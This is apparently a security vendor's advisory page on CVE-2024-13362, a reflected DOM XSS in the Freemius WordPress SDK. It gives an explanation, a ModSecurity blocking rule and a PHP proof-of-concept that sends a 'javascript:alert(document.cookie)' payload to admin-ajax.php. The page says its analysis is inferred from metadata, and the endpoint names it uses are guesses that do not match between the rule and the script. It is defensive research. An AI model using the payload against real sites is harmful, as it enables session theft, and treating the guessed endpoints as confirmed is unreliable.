Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2024-13362 (metadata-based):
This vulnerability is a Reflected DOM-based Cross-Site Scripting (XSS) affecting the Freemius framework (versions <= 2.10.1) as used by multiple WordPress plugins and themes, specifically impacting the "Remove Add to Cart WooCommerce" plugin (version 1.4.7). The flaw allows unauthenticated attackers to inject arbitrary web scripts via the 'url' parameter, which executes in the victim's browser upon clicking a crafted link. The CVSS v3.1 score is 6.1 (Medium), with network attack vector, low complexity, no privileges required, and user interaction needed (click).
Root Cause: Based on the CWE-79 classification and description, the root cause is improper neutralization of user-supplied input in the 'url' parameter during web page generation. Inferred from the framework context, the Freemius SDK likely reflects user-supplied URLs back into JavaScript execution contexts (e.g., via document.write, innerHTML, or window.location assignments) without proper sanitization or output escaping. Atomic Edge analysis concludes that the framework fails to sanitize or escape the 'url' parameter before using it in DOM manipulation routines, making it vulnerable to script injection. This conclusion is inferred from metadata and the common behavior of SDK-style components that handle redirects or link generation.
Exploitation: An unauthenticated attacker crafts a malicious URL containing JavaScript code in the 'url' parameter, such as `?url=javascript:alert(document.cookie)`. The attacker would trick a victim into clicking a crafted link pointing to a page using the Freemius SDK (e.g., "/?freemius_action=some_action&url=…") or a plugin endpoint that reflects the parameter. When the victim clicks the link, the browser executes the injected script in the context of the vulnerable WordPress site, allowing data theft (e.g., cookies, session tokens) or further malicious actions. The attack requires user interaction (click) but no authentication, making it a phishing vector.
Remediation: The fix requires strict input sanitization and output escaping for the 'url' parameter. Atomic Edge research recommends using WordPress's built-in functions: `esc_url_raw()` for storage/sanitization, and `esc_url()` or `esc_js()` before output in HTML or JavaScript contexts. The Freemius SDK should validate the URL against a whitelist of allowed schemes (http, https) and strip dangerous protocols like 'javascript:' or 'data:'. Additionally, applying CSP headers or using JavaScript encoding functions would prevent injection in dynamic DOM operations.
Impact: Successful exploitation enables stored cross-site scripting in reflective contexts, leading to cookie theft, session hijacking, redirection to malicious sites, or defacement. Since unauthenticated attackers can trigger the XSS, widespread campaigns targeting admin users could compromise site accounts. The impact is limited to the victim's browser session (not server-side), but combined with social engineering (e.g., phishing emails with crafted links), attackers can achieve significant harm, including account takeover if administrator cookies are stolen. The vulnerability affects multiple plugins/themes using Freemius, widening the attack surface.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Target: Block XSS via url parameter in Freemius SDK endpoints (AJAX or direct)
SecRule REQUEST_URI "@contains /admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Freemius Reflected XSS via url param',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_POST:action "@streq freemius_handler" "chain"
SecRule ARGS:url "@rx ^(javascript|data|vbscript):"
"t:lowercase,t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// Assumptions:
// - The vulnerable endpoint is typically accessed via a WordPress plugin with Freemius SDK integration.
// - The 'url' parameter is reflected without sanitization, likely in a JavaScript context.
// - We simulate a request to a common Freemius AJAX handler or SDK endpoint.
// Configuration
$target_url = 'http://example.com'; // Replace with target WordPress site URL
$endpoint = '/wp-admin/admin-ajax.php'; // Common AJAX handler; adjust based on plugin
// Payload: JavaScript alert to demonstrate XSS
$payload = 'javascript:alert(document.cookie)';
// Construct malicious URL with XSS payload
$malicious_url = $target_url . $endpoint . '?action=freemius_checkout&url=' . urlencode($payload);
// For DOM-based XSS, the payload might be fetched via JavaScript and evaluated.
// We simulate clicking the link by sending a request with the payload in the parameter.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Sent XSS payload to: $malicious_urln";
echo "[+] HTTP Response Code: $http_coden";
// The response would likely contain the payload reflected in JavaScript code.
// In a real attack, the victim would click the crafted link with the payload.
?>